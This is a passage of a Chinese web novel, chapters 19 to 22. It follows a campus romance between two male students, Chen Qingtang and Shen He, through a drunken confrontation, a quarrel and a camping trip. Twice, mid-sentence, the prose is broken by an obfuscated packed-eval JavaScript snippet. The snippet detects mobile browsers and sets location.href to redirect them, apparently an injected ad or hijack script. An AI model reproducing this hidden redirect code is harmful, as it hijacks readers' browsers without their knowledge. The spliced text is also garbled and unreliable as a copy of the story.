陈清棠几乎可以想象出当时沈鹤的惊慌,一时心情大好。 沈鹤啊,你也有这种时候。 眼看沈鹤已经快要被攻破防线,陈清棠故意话锋一转,恶趣味般用直白的字眼,去刺激沈鹤绷紧到可怜的神经: “两个男人做.爱好看吗,沈鹤。男人和男人上床,是不是也别有一番趣味?” 20. 第 20 章 沈鹤眸子剧烈震颤,脸上的表情懊恼中夹杂着悔恨,还有被揭穿的羞耻。 听到那几个粗俗得有点下流的字眼,他的脸和脖颈,直接唰地一下,红成了一连片。 简直堪称奇观。 陈清棠还是头一回看到,沈鹤流露出这么复杂又精彩表情,他忍不住眯起眼反复地欣赏。 得意地观摩着自己的杰作。 再次感叹,酒真是个好东西啊。 喝了酒的沈鹤太诚实了,什么都写在脸上,真好懂。 真可爱。 陈清棠恶劣地笑起来,故意指出:“又没藏住哦。” 他抬起手,手背轻轻拍了拍沈鹤熏红的脸颊:“瞧这张俊脸,眉头紧锁,眼神震惊,你简直是把自首两个字写在了脸上。” 沈鹤深吸一口气,手指骨节被掰得咔嚓作响,他索性闭上了眼。 试图这样,来阻止自己情绪的流露,同时阻止陈清棠窥探他。 但视线变得黑暗,人的其他感官就会变得敏感。 脸颊被人抚摸着,那种浮动的、若有似无的痒意,一点点钻进他的皮肤,渗透进骨髓,最后抵达心脏。 沈鹤感觉自己仿若变成了深海中的一艘小船,一颗心随着陈清棠的动作,上下来回地浮动。 煎熬,却又莫名地渴求。 想要这股风浪立刻停下,让他能够获得喘息,又想要这股风浪再大一点,让他浮动得再剧烈些。 陈清棠列举出第二个证据:“小蓝软件,你还记得吗。” 沈鹤的眉心跳动了下。 陈清棠看他闭上眼,试图掩耳盗铃,故意凑他更近了些。 这个距离,两人的鼻息纠缠,陈清棠能闻到沈鹤唇边流露出的酒香。 沈鹤对他的性.吸引力太强了。 陈清棠盯着他微薄柔软的唇,满脑子都是想亲,想咬:“那天在寝室,你们讨论男同的片子,讨论小蓝这个软件,其实我都听到了……” 他的嗓音很轻,很懒慢,透着一股外放的欲.色。 手指停靠在沈鹤高挺的鼻梁上,然后缓缓下滑,滑动到沈鹤的唇角,拇指蹂躏着他的唇瓣。 以此来替代作为一个吻。 陈清棠看他闭着眼,那样英俊,就像是在等着自己去亲吻的王子,他终于忍不住凑上去。 等距离近了,却只是克制地用鼻尖厮磨沈鹤的鼻尖。 片刻后,才餍足地说:“后来魏彦问我知不知道小蓝,你第一时间看向我……” 沈鹤看不见陈清棠在做什么,他只觉得鼻尖很痒,像是被什么一来一回地摩挲着。 沈鹤以为那是陈清棠恶作剧的手指。 微热的呼吸喷薄在他脸上,让他头脑发昏,一股血液冲上脑门,让他难以克制地变得兴奋。 像是嗅到了鲜血的野兽。 陈清棠满足了些,稍稍退开距离:“其实我之前还不敢肯定,你是不是真的知道了我的性取向,直到魏彦问我知道不知道小蓝时,你看过来的那一眼,让我终于确定了。” 沈鹤深吸一口气,缓缓睁开眼:“既然你早就知道了,还审我做什么。” 陈清棠轻挑眉头:“因为我还不清楚,你是怎么想的。” 他放在沈鹤脸上的手,缓缓往后滑,最后落在了沈鹤的耳垂上,玩味儿地捏着: “不是讨厌同性恋吗沈鹤,不是不喜欢男同接近你吗,为什么不排斥我?” 沈鹤:“因为你就是你。” 陈清棠困惑地歪头。 沈鹤定定地同他对视:“陈清棠就是陈清棠,不管是喜欢男人的陈清棠,还是喜欢女人的陈清棠,都是那个有魅力的陈清棠。” “性取向只是你的一部分,我欣赏的是你的人,跟你的性取向无关。所以我不会因为你的性取向,去否定你,或者戴着有色眼镜看你。” 男生嗓音平静,却透着铿锵的力道。 陈清棠先是微怔,随后深褐色的眸子,就这么在他的一番话里,一点点染上了笑意。 不愧是他看上的男人。 沈鹤眉间微蹙:“况且,性取向没有错,喜欢男人还是女人,是每个人的自由,我并不讨厌男同群体,我讨厌的是性.骚.扰者,跟他们的性取向没有关系。” “如果男同不把我当成目标,我完全接受跟对方做朋友。” 陈清棠眼底的笑意更深了,却透着点恶劣,就那样意味不明地盯着沈鹤看。 呀,真想现在就告诉沈鹤,自己就是以他为目标的呢。 沈鹤的表情肯定会非常精彩。 陈清棠:“所以你才没有来质问我是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14800750|158400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是同性恋?也没有试探我?” 沈鹤:“嗯。因为那不重要。” 沈鹤除了一开始看到那个文档有点混乱外,很快就平静了。 他早就想好了,不管陈清棠的性取向是什么,都不影响他想继续跟陈清棠做朋友。 所以沈鹤没有试探,没有质问,只是平和地接受。 甚至还因为陈清棠的性取向,对他生出了点自己都没察觉的怜爱,和保护欲,不想让陈清棠在男性群体中,受到伤害。 陈清棠笑着:“挺好。那刚才我审你,你为什么不承认已经知道我是gay了?” 沈鹤坦诚:“怕你觉得,我是故意偷看你的文档。” 而且网友说了,性取向这种事很敏感,如果他承认了,万一陈清棠心里对他膈应,反而断送了两人的关系。 为了保险,沈鹤选择不坑声。 但没想到,他整个人在陈清棠面前,就跟脱光了一样赤.裸,被看得透彻。 沈鹤:“不管你信不信,我当时是不小心点开文档的。抱歉。” 陈清棠眯起眼凑近他,就那样看了沈鹤足足五秒:“真的?” 沈鹤表情非常严肃认真:“我发誓。” 陈清棠笑起来:“逗你的。我相信你。你的人品我信得过。” 沈鹤眸子闪动了下。 陈清棠忽然竖起食指,放在他的唇上:“但这件事,能帮我保密吗?我还不想有别的人知道我是gay。” 沈鹤喉结微动,想张嘴说话,但唇瓣刚一蠕动,碰到陈清棠的手指又立马触电般闭上了。 陈清棠笑意温柔:“就当做,我们之间的小秘密。好吗?” 沈鹤被这个笑勾得心头一麻:“嗯。” 两人终于结束了漫长的对峙,一起从厕所回包厢。 刚到门口,门就被从里面拉开了。 一个男生正要出去。 看到陈清棠,他愣了下,随后羞涩地笑了起来:“你刚才演讲得真好!我能加你个联系方式吗?” 那种求偶的荷尔蒙,都快糊到人脸上了。 陈清棠看了眼沈鹤。 正要把手机没电的借口再用一遍时,就听见沈鹤忽然语出惊人: “他是直男,不喜欢男人。” 陈清棠:“?” 21. 第 21 章 那个男生很明显愣了下,肉眼可见地变得尴尬,只能给自己打圆场说:“我、我就是想交个朋友……” 陈清棠都有点怜悯他了:“不好意思啊,我手机没电了。” 男生只能顺着台阶下:“哦,哦,那下次吧哈哈。” 陈清棠浅笑了下,擦着他进了包厢。 等回到座位坐下,陈清棠才问沈鹤:“你刚才为什么那么说?你明明知道我不是直男。” 沈鹤没什么情绪:“不好吗,说是直男,就不会有男生再来纠缠你。” 陈清棠一只手撑着脑袋看他,眼里一抹兴味儿:“你这是从根源上斩断了我的桃花啊。” 沈鹤同他对视:“你想谈恋爱?” 陈清棠挑眉,抛出一个暧昧的回答:“你猜?” 那双清泠泠的眸子流转着摄人心魄的光,仿佛能勾起人心底最深处的欲色。 沈鹤瞳孔紧缩了一瞬,飞快地别开眼:“你要是想谈,我可以给你介绍靠谱的。” 慌不择路中,说了一句非常破坏气氛的话。 陈清棠的眼神一点点冷了下来:“你认真的?” 沈鹤双手握紧,静默了好几秒都没再发出声。 陈清棠最后看了他一眼。 随后就别过身去背对着沈鹤,在两人之间撑起一只手。 像是竖起一道栅栏,把两人隔绝开。 沈鹤盯着陈清棠,喉结微动。 但最终什么都没说。 桌上的杯子里还剩半杯酒,沈鹤直接端起一饮而尽。 手指骨节被他掰得咔嚓作响。 这时,社长张青青站起来,拍拍桌子:“好啦好啦!都过去二十分钟了,继续刚才的议题……” 屋里有人站起来,慷慨激昂地说了几分钟,又坐回去,然后下一个人再站起来。 就这样循环重复,不知过了多久,终于所有人都轮完了。 张青青就招呼大家自由讨论,想吃东西的就吃,想玩儿的玩儿。 这期间,陈清棠没有给过沈鹤一个眼神。 楚希看他一个人闷在这里,就搬了把椅子过来,跟他旁边的人换了个位置。 楚希:“咋了,拉起个马脸。谁惹你了?” 陈清棠懒洋洋地:“沈鹤说要给我介绍男朋友。” 楚希眼睛都瞪成了鸡蛋:“啊?他吃错药了?” 他歪着身子,绕过陈清棠去看沈鹤,结果看到,沈鹤虽然面无表情地坐着,但整个人明显有点没精神。 像一只焉哒哒的大狗。 还是只喝醉了的大狗,脸颊到脖子都红得通透。 楚希乐呵了,回头同陈清棠说:“我看他好像也心情不佳。就是不知道是谁惹了他。” 陈清棠兴致缺缺:“爱谁谁。” 他懒得再理沈鹤了。 楚希拉他胳膊:“哎呀好了,出来玩儿别不开心。你帮我个忙呗。” 陈清棠:“讲。” 楚希凑近他,压低声:“你看到刚才坐我旁边的那个男孩子了吗。” 陈清棠撩起眼皮:“就那个,长得有点黑,人很壮实的?” 楚希疯狂点头,眼神亮晶晶的:“他叫周辰,咱学校计算机系的,我喜欢他。你教教我怎么钓到他。” 陈清棠凝视他:“认真的?你只是想在大学里找个人陪你玩儿,还是想跟他一辈子?” 楚希微愣:“这个,我没想好,但我现在就是很喜欢他呀,我想要他也喜欢我,跟我在一起。” 陈清棠:“如果你想跟他认真相爱,那就拿出你百分百的真诚去对他好,不要玩儿套路。” 楚希安静了会儿:“真的对他好就行了?对他好他就能爱上我?” 陈清棠轻轻拉住他手:“不一定。感情就是这样的,付出了却不一定能看到回报。” 上辈子他栽在沈鹤身上,还以为自己那付出真心的几年都是打水漂了呢。 当时那几年,那种看不到希望的感觉,他现在都记忆深刻。 陈清棠语气认真:“爱是一种高级的灵魂产物,非常稀缺。要用心去换,也只有真心才配得上。” 楚希咬咬牙,不甘心地再次问:“真的没有让他立马爱上我法子吗?” 陈清棠摇头:“如果你决定了要爱某个人,就不要去钓他。” 楚希不理解:“那你对沈鹤……” 陈清棠垂下眼:“不一样。我跟沈鹤……我没有退路了。” 上辈子他爱了沈鹤七年,从学生时代到工作后,他暗恋沈鹤几年。 后来经过朋友介绍,两人相亲,沈鹤才算是正式认识了他。 因为感觉彼此条件都合适,沈鹤选择了跟他结婚 但在结婚前沈鹤就跟他坦白,他们都这个年纪了,再谈感情不现实,所以暂时搭伙过个日子。 就这样,陈清棠婚后又在这个人身上蹉跎了四年。 他的心脏早就习惯了爱沈鹤。 更何况重生回来,知道上辈子自己车祸去世后,沈鹤为了他抑郁到自杀殉情…… 陈清棠已经在这段感情里,陷得太深太深,他没办法也不愿意抽身。 所以这辈子,不管是钓也好,还是用什么别的手段都好,他只要沈鹤爱他。 陈清棠也是有些偏执在身上的。 楚希看他露出那种平时绝对不会有的破碎神情,有些心疼地拉他的手:“好了好了。那接下来你跟沈鹤之间,你有什么打算?” 陈清棠轻缓眨眼:“还差最后一步,就该到下一个阶段了。” 楚希:“最后一步是什么?下个什么阶段?” 陈清棠笑而不答。 他该给沈鹤下点猛药了。 楚希:“好吧,又不告诉我。马上就是五一假期了,我跟周辰打算出去露营玩儿,你要带沈鹤来吗?” 陈清棠若有所思:“你把地点发给我吧。” 这次的假期,正好是一个契机。 楚希撒娇一样:“就算沈鹤不来,你也要来哦,我想你来。” 陈清棠无奈:“知道啦。” 聚餐结束 张青青作为社长,很负责地叫了几辆车,数着人头个数把他们拉回学校。 大家陆陆续续地离开,最后只剩下陈清棠和沈鹤还站在原地。 张青青看着沈鹤:“你好像不住校吧,等会儿上车后自己跟师傅说地址啊,别忘了。” 沈鹤很慢地点头,像个卡顿的机器人。 张青青啧了声:“你这,你喝了多少啊,你这样我也不放心……但我也赶着回学校,马上到闭寝的时间了。” 到时候公寓楼直接关门,人都进不去。 陈清棠:“社长你走吧,我送他回去。我没喝酒。” 张青青啊了声:“你知道他住哪儿?” 陈清棠:“嗯,我是他室友,之前去他家里留宿过。” 张青青立马松了口气:“天爷,还好有你。” “那就麻烦你送他哈,太晚了就在他家住下来,注意安全。” 陈清棠点点头。 张青青又把最后一辆叫的车的车牌号告诉了陈清棠,让他记下来,自己才放心走。 陈清棠就那样跟沈鹤一起在风里站着。 四月末了,天气已经转暖,但夜里的风还是有些凉。 陈清棠戴着口罩,微微缩了缩肩。 下一刻,一件外套披在了他身上。 陈清棠微怔,随后不怎么领情地用胳膊顶开那只手,别过身转向一边。 沈鹤顿了下,跟过去,继续给他披衣服。 陈清棠再次躲开。 沈鹤锲而不舍,非常执着。 陈清棠都忍不住笑了,却是皮笑肉不笑:“我不要你看不出来吗。” 沈鹤手里拿着衣服,只是沉默地看着他。 陈清棠只当没看见,这人都要给他介绍对象了,还来管他做什么。 今晚喝了酒,再加上楚希勾起了他前世酸涩的回忆,陈清棠的气性也稍微大了些。 这时,一只手忽然伸了过来,小心翼翼地勾住了他的手指。 陈清棠心头一颤。 他盯着地面没动,任由自己的手指被那人勾住。 本以为沈鹤会说些什么,结果他等了好一会儿,这人半个字都没蹦出来。 这时车子刚好来了,陈清棠直接钻进了副驾驶座。 通过后视镜,能看到沈鹤也上了车。 看来醉得并不是特别彻底嘛。 起码还有理智和意识。 陈清棠对司机报了沈鹤家的地址。 很快等到了目的地,司机把车停住。 沈鹤却不下车,就坐在后座,直勾勾地盯着陈清棠看。 过了两分钟,司机忍不住催促道:“同学你到底下不下车啊?不然我就开了?” 沈鹤终于动了,他拉开车门下了车。 司机正要发动车子,一回头忽然发现,沈鹤出现在陈清棠那一侧的车窗口。 手还死死地把住半开的车窗玻璃。 沈鹤垂眼看着陈清棠:“时间太晚了,去我家将就一晚。” 陈清棠目视前方,装聋装瞎,当没看见他这个人。 沈鹤喉结微动,声气软了些:“下来吧。” 陈清棠淡淡道:“师傅,开车。” 这个点赶回去,速度快点的话,还能赶在寝室闭寝前进去。 司机对沈鹤啧了声:“同学,你手别碰那个车窗玻璃,我要开了。” 沈鹤却执拗地不肯松手,只是注视着陈清棠。 心口有种很奇怪的情绪在涌动。 沈鹤说不清那是什么,只是他此刻不想放陈清棠走。 不想…让陈清棠带着对他的负面情绪度过一夜。 陈清棠终于看向沈鹤:“松手,有事明天再说。” 沈鹤一顿。 明天,明天陈清棠就愿意搭理他了。 沈鹤终于听话地收回了手。 车子终于开始在夜色里飞驰。 陈清棠一只手撑着额头,很轻地叹了口气。 真是昏了头了,他跟这个人较什么劲儿。 平白无故让自己陷入了被动。 回到寝室,陈清棠有些累了,简单洗漱了下就上床睡觉了。 却不知道,有个人还抱着手机巴巴地守着。 沈鹤脸上被酒意熏染的红潮还没退,他就坐在沙发上,盯着手机上的秒钟,一秒一秒地数着。 就这么数了不知道多久,终于,时间到了午夜零点。 沈鹤立马切到陈清棠的微信聊天框,手指敲得飞快。 沈鹤:已经是第二天了 可以理他了吗。 沈鹤模模糊糊能感觉到,是他说错了话。 虽然不知道错哪里了,但陈清棠不高兴了,那就是他错了。 他不喜欢陈清棠不理他。 就这么等了一夜,没等到回信,天快亮的时候,沈鹤自己倒在沙发上睡着。 于是第二天上课,陈清棠看到的,就是一个盯着很浓的黑眼圈的沈鹤。 像被人揍了。 陈清棠没忍住笑:“你昨晚偷牛去了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14800751|158400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魏彦和罗新坐在前排的,听到这话也回头看他,然后笑起来:“天呐沈哥,你昨晚没睡啊?” 沈鹤只看向陈清棠:“你……” 昨晚的消息,到现在都没被回复。 陈清棠神色如常:“嗯?” 沈鹤摇摇头,对魏彦和罗新说:“头转过去。上课了。” 魏彦:“好吧。” 罗新:“哦。” 沈鹤从草稿本上撕下一张纸条,飞快地在上面写字。 陈清棠就一只手撑着脑袋,等着他写完。 很快,字条被推了过来。 沈鹤:我昨晚说错话了 沈鹤:不该给你介绍对象 陈清棠一边看,手指一边轻点着桌面。 看来沈鹤还是有自觉性的。 陈清棠抛出一个引子:为什么? 沈鹤:涉及性取向的事很私密,我太没边界感,让你觉得不舒服了,抱歉 陈清棠:“……” 他收回前言。 陈清棠一只手转着笔,想了想,飞快地写字。 陈清棠:不,你没错,我特别想谈恋爱 陈清棠:不过我只想在我的圈子里找,这样吧,你眼光好,你就帮我看看,我身边的追求者,哪些比较合适我 经过昨晚的反思,陈清棠已经明确了方针。 他要牢牢地占据主动地位。 沈鹤是怎么产生帮他介绍男人的想法的,他就要沈鹤怎么憋回去,怎么后悔到肠子都发青。 他要让沈鹤,求着他不要看别的男人。 像沈鹤这种不开窍的,必须下猛药。 写好后陈清棠把字条推过去给沈鹤,然后笑眯眯地等着欣赏沈鹤的反应。 沈鹤拿到字条后,只是盯着看,看了很久很久。 那张冷峻的脸上,什么表情都没有。 陈清棠感觉没意思极了,自己背过身去打游戏去了。 下课了,四人回寝室,一边走一边聊天。 魏彦:“诶,这周末就放五一假了,哥几个什么安排?” 罗新小小声:“我就在宿舍待着,没钱出去玩儿。” 魏彦:“那多闷啊!沈哥呢?” 沈鹤淡淡地:“没安排。” 陈清棠想起楚希跟他说的事儿:“去露营吧。我朋友说有个地方风景很好。” 罗新眼睛亮了下,小鸡啄米般点头:“可以可以,露营不用花太多钱!” 魏彦也来了兴趣:“感觉行,我还没露过营呢,到时候带个移动wifi,好打游戏。” 陈清棠看向沈鹤。 沈鹤点头:“可以。” 陈清棠浅笑:“那就这么说定了?” 他的计划里,第一阶段还差最后一步,打算在这个五一假收网。 然后不出意外的话,五一假回来,就能进入下个阶段了。 几人又讨论着要带些什么东西去,魏彦和罗新最积极了。 这时,一个人忽然喊住了陈清棠。 陈清棠回头,就见秦良正冲着他跑过来。 哎呀,这次躲不掉了。 陈清棠故意拉了拉沈鹤袖子:“好像你说过,他是直男,而且换女朋友很频繁。” 沈鹤:“嗯。这个人不行。” 陈清棠表示赞同:“我也觉得。我不喜欢太滥情的人,他们的爱很廉价,太廉价的东西我不要。” 沈鹤的眉头悄无声息地舒展了些。 陈清棠没放过他这点微不可见的表情反应。 呵,先让这个人爽一下。 两人说小话时,秦良已经到了跟前,他气喘吁吁地笑着说: “陈清棠,我刚在教学楼门口就看见你了,喊你你没理我。” 陈清棠保持着基本的礼貌:“没听见。” 秦良拿出手机:“这次能加个微信了吗。” 他两眼弯弯,幽默地打趣:“不会每次你的手机,都碰巧在我来的时候没电吧。” 陈清棠并不喜欢这样的打趣,反将一军:“巧了,还真是。” 这次不是他撒谎,刚才上课跟楚希他们游戏三排,把电耗光了。 明知秦良会误会,他也不解释。 秦良的笑肉眼可见地僵在了脸上:“那,那我要不加一个你朋友的微信?回头他把你推给我。” 最没有眼力见的魏彦凑上来:“那你加——。” 他刚张嘴,忽然感觉脊背一凉。 偏头就发现,沈鹤正微仰着下巴睨着他,眸色比平时冷了几度。 魏彦话到舌尖都烫嘴,咽下去重说:“那你还是别加了。我们微信都不加陌生人的。” 话都到这个份上了,秦良有些下不来台。 陈清棠适时递了个台阶:“那下次见?我们急着回寝室。” 秦良僵硬地笑:“好。” 几人转身离开。 沈鹤最后深深地看了秦良一眼。 秦良一愣,不是,沈鹤那眼神什么意思? 警告?挑衅? 想起之前也是沈鹤坏他好事,秦良就气不打一处来。 等走远了,快到寝室楼下时,陈清棠忽然脚步一顿。 几个人跟着他停下来。 罗新:“怎么了?” 陈清棠摸着下巴,绕着魏彦转了一圈儿,从头到尾地打量着他,时不时点点头。 那种欣赏的眼光,让沈鹤感觉很不妙。 下一刻,沈鹤就听见陈清棠问他:“你觉得魏彦怎么样?” 咔嚓,沈鹤掰响了手指骨节。 22. 第 22 章 五一假很快到来。 几个人头天晚上就收拾好了东西,第二天沈鹤开车来接他们。 按照楚希给的地址,陈清棠开了个导航,一路导过去,只用了两个小时。 地方不远,就在城郊外的一个景区附近。 刚好五月份气候暖了,那里草坪绿油油的一片,还开着各种野花,好看得不行。 四人下了车,看着这么美的景色,心情都舒畅不少。 魏彦竖起大拇指:“没白来!” 罗新也是笑着的:“我们在哪儿扎营?” 陈清棠:“我朋友就在前面的河边儿,我们过去找他们。” 他打开车的后备箱,把自己的行李箱拎出来。 中途却吃不起那个重量,脚步踉跄了下。 眼看箱子就要砸下来,距离他最近的魏彦最先注意到。 魏彦忙过去托住他的箱子:“啧,行了你放手我来。我力气大。” 陈清棠笑笑:“好。” 魏彦正要动作,一只手却忽然按住了箱子。 回头看,沈鹤正用一种古怪的眼神看着他,看得他心里发毛。 魏彦嘴角抽抽:“咋了?” 沈鹤没什么表情:“我来。” 魏彦莫名其妙地:“那行吧,那你来。” 沈鹤单手拖起了陈清棠的箱子,从后备箱里提出来后,就那样拎着走了。 剩下的行李,三人一人盘了一点。 中途魏彦看陈清棠有些体力不支,就上去想帮帮他。 结果又被沈鹤插了一脚。 沈鹤:“我来。” 陈清棠乐得清闲:“那你们来吧,我先去找我朋友。” 魏彦看陈清棠走出几米远了,这才跟沈鹤说:“沈哥你干嘛啊,这几天都奇奇怪怪的。” 每次他要跟陈清棠说会儿话,沈鹤就会来打断。 每次他一靠近陈清棠,沈鹤就会插一脚,还用一种难以描述的眼神看着他,看得他怪怪的。 沈鹤面无表情:“你平时少孔雀开屏。” 魏彦:“???” 大无语!简直大无语! 魏彦眼睛都瞪圆了:“我怎么了我?我哪里孔雀开屏了?” 不是,他平时接触的都是大老爷们儿,他一个钢铁直男,到底对着谁开屏了? 沈鹤却不再理会他,大步往前走了。 魏彦一手抱着一个行李包,追着他跑:“诶诶,你说清楚,你不要污蔑我清白。” 五一假期,来这里露营的人很多 陈清棠他们到地点的时候,一眼望过去,那块草坪上搭了起码近十多个帐篷。 四人也不废话,开始分工合作扎营。 搭帐篷的时候,陈清棠才发现他们忘了带锤子。 想找楚希借,但楚希去旁边的树林捡柴火去了。 陈清棠和沈鹤对视一眼:“要不先过会儿再弄?等我朋友回来就有锤子了。” 沈鹤刚要说话,旁边一只手忽然伸了过来。 一个男生大大方方的:“拿去用吧,我们暂时不会用锤子。” 他说话时,视线一直落在陈清棠身上,眼都不带眨的。 因为今天是来郊外,空气很清新,又透气,所以陈清棠难得的没有戴口罩。 平时在学校里一直戴口罩,是因为学校里植被少,风还大,吹得灰尘到处飞。 陈清棠鼻子对粉尘尤其敏感,会特别痒,痒得难以忍受。 郊外植被多,就不用担心那种情况了。 摘了口罩,陈清棠那张惊艳到足以让任何人都为之侧目的脸,就那样暴露在外面,已经吸引了很多人的目光了。 沈鹤忽然转了个身,恰到好处地挡住男生的视线。 陈清棠礼貌道:“谢谢。” 人都送上门了,不用白不用。 男生绕过沈鹤,走近陈清棠,把锤子递给他:“用我帮忙吗?” 陈清棠从这人身上,闻到了一股让他不太舒服的气味,接过锤子后,抿唇微微退后一了小步:“不用。谢谢。” 他这个动作,男生没有察觉,沈鹤却看在眼里,微妙地挑了下眉。 男生借机说:“能加个你微信吗?” 陈清棠:“手机没电了,不好意思。” 男生只能说:“那你们先忙,等会儿我过来拿锤子。” 陈清棠点头。 等男生走了后,陈清棠看了眼沈鹤:“你帮我看看这人怎么样?他好像想搭讪我。” 沈鹤接过锤子开始干活:“他身上的气味难闻。” 语气里透着一股笃定,还有自信。 沈鹤自信陈清棠不会看上这个人。 陈清棠微微翘起嘴角:“嗯。确实。那我就不给他微信了。” 咚的一声,是沈鹤挥起锤子敲在木桩上的声音。 这一下,要比刚才几下更响,透着明快。 很快帐篷搭好了。 陈清棠跟沈鹤说:“我们去树林里捡点干柴吧。” 晚上会冷,木柴烧起来暖和,而且很有野生露营的氛围感。 两人穿过人群密集的帐篷,收获了一众目光。 期间又有人来搭讪,是个长得很柔弱俊美的男生,一看就是0圈天菜。 男生微红着脸,含着羞意,在伙伴的怂恿下向陈清棠开了口:“你们刚来我就注意到你了,能加个微信吗?” 陈清棠浅笑:“抱歉,手机没带在身上。” 撞号了啊。 他看起来很1吗。 等走出几步,陈清棠问沈鹤:“你觉得他怎么样?” 沈鹤表情已经稍微沉了:“太阴柔。” 到营地还没半小时,就已经有两个人来跟陈清棠搭讪。 为什么,为什么这么多。 等捡完柴火回来,楚希带着辩论社的朋友过来,跟陈清棠坐在一起聊天。 楚希偷偷跟陈清棠说:“晚上我们玩游戏,你带着沈鹤也来呗。我给你俩制造机会。” 陈清棠:“什么游戏?” 楚希:“就那种,国王游戏,大家抽签,抽到国王的人,可以指示抽到任意两个号码的人,做指定的动作。” “我就指定你跟沈鹤……嘿嘿……亲亲抱抱什么都可以哦~” 陈清棠有了兴趣:“好像,还不错。” 楚希:“是吧是吧。” 陈清棠想了下:“到时候我需要你帮我一个忙。” 楚希:“讲。” 陈清棠凑过去,在他耳边低语一番。 楚希眼睛都睁大了,坏笑:“诶,还是你会儿玩儿~” 陈清棠一挑眉:“钓了一段时间了,该给他下点猛料了。” 慢慢来。 他很享受沈鹤为他一点点沦陷的样子。 就好像是,看着猎物自己一步步走进陷阱,有意思极了。 —— 沈鹤在一边跟魏彦一起整理行李包。 魏彦看他默不作声地干活,虽然脸上没什么表情,但能感觉到这人气压比平时低。 也不知道咋了。 魏彦抬头看了眼被辩论社成员,围在中间的陈清棠:“诶,小陈也有点太受欢迎了吧。” 他轻哼了声:“你还说我开屏,小陈才是开屏,你看他笑得多灿烂,对谁都笑得那么好看。” 沈鹤低着头:“他没有。” 魏彦翻了个白眼:“沈哥你双标啊,我笑就是开屏,他笑就不是?” 沈鹤:“他只是好看。他不笑也好看。” 魏彦骤然凝噎:“好吧,这倒是。” 两人说话这会功夫,又有人接近陈清棠 沈鹤虽然没抬头,但一些碎语止不住地传入他耳朵。 叶庭: “上次社团聚餐就想要你的微信了,但没找着机会。” 陈清棠随口应付:“是吗?” 叶庭:“嗯,你原来长得这么好看啊,上次你戴着口罩,我都没看到你的脸……” 咔嚓一声,沈鹤掰响了手指。 他眉眼低垂,握着一个苹果,捏得很紧:“为什么这么多……” 为什么。 魏彦以为他在跟自己说话:“啊?什么这么多。” 沈鹤盯着地面,像是要把那块地看穿:“靠近他的人。” 魏彦愣了下才反应过来:“你说小陈啊,嗐,平时他都戴着口罩,大家也不知道他长啥样,现在人口罩一摘,我嘞个去,是真的招蜂引蝶。” “他本来就长得好看,性格也挺平易近人的,他不受欢迎,我才觉得奇怪呢。” 说到一半,魏彦忽然顿了下,一脸恍然地看着沈鹤:“啊,沈哥你不会是嫉妒小陈吧?” “别嫉妒,你长得不比他差,就是你老冷着个脸,别人就觉得你很难接近。” 魏彦竖起大拇指,比了个赞:“你试着像小陈一样,多笑笑,你肯定会比他还要受欢迎!” 沈鹤像看傻子一样看了他一眼,起身走了。 魏彦怔在原地,不是,啥意思? 他怎么感觉,他被那个眼神人身攻击了? 沈鹤拿了个苹果,不动声色地坐到了陈清棠旁边,开始削苹果。 陈清棠凑近他,压低声说:“你帮我看看这个人怎么样,也是我们辩论社的,不过是上一届的学长。” “而且……他是弯的。” 沈鹤削苹果的刀歪了下。 他抬眼看向陈清棠说的那人,然后顿住了。 这人,他认识。 叶庭,父亲经商的,母亲是舞蹈家,家世清白干净而且显赫。 为人谦逊绅士,长得帅,脑子好使,性格温雅风趣。 任何人都挑不出他的一点瑕疵。 陈清棠看他定住,又问了一遍:“你帮我看看他怎么样?” 沈鹤半天没说出话,握着刀的手却缓缓攥紧。 沈鹤忽然发现,自己是个卑劣的人。 此刻他很想对陈清棠说,这个人也不行。 却没有办法过自己心里这一关。 前面那些靠近陈清棠的人,沈鹤都能找出他们显而易见的短板,然后堂堂正正地跟陈清棠说这个人不行。 他只是在帮陈清棠的忙,所以光明正大,坦坦荡荡。 但这次,沈鹤再没有理由。 陈清棠轻轻拉他衣袖:“嗯?你要是说他不行,我就不加他微信。我听你的。” 沈鹤看向他,眼里流露出一点涌动的情绪,很强烈直白,但只是一闪而逝,快得让人无法捕捉。 就这样看了陈清棠好一会儿,沈鹤最终什么都没说,只是把削好的苹果放进他手里,然后站起身径直离开了。 陈清棠唇角勾起一点笑。 沈鹤啊沈鹤,人的欲望都是丑陋的,不堪的,包括占有欲。 他要沈鹤直面自己的占有欲,并亲口承认。 看以后这个人还敢不敢给他介绍别的男人。 一晃,时间到了晚上。 众人商量着一起玩儿游戏。 楚希带了一批朋友,大多是辩论社团的,加上陈清棠他们寝室四人,大约有那么十几个人吧。 大家一起围坐在火堆旁,放着音乐,烤着吃的,还挺热闹潇洒的。 唯独沈鹤独自一个人坐在一边。 魏彦过去喊他来玩儿游戏,刚走近,却发现沈鹤正捧着个本子,不断地在上面写什么。 魏彦挨着他坐下:“天这么黑,沈哥写啥呢,能看见吗。” 沈鹤:“心能感受到平静。” 魏彦:“……” 无语了,魏彦伸了个头过去,想瞅瞅他本子上写的啥。 结果沈鹤啪的一声闭上了本子,垂眼凝视他。 魏彦嘿嘿笑:“看一眼都不行啊,沈哥别小气嘛。” 沈鹤:“没什么好看的。” 沈鹤的笔记本不光记东西,更多的是在他情绪异样的时候,用来练字平复情绪。 是沈鹤爷爷教的。 爷爷说,只要把扰乱他心的东西,在纸上写几遍就会平静。 魏彦:“好吧,那我们过去吧,游戏要开始了。” 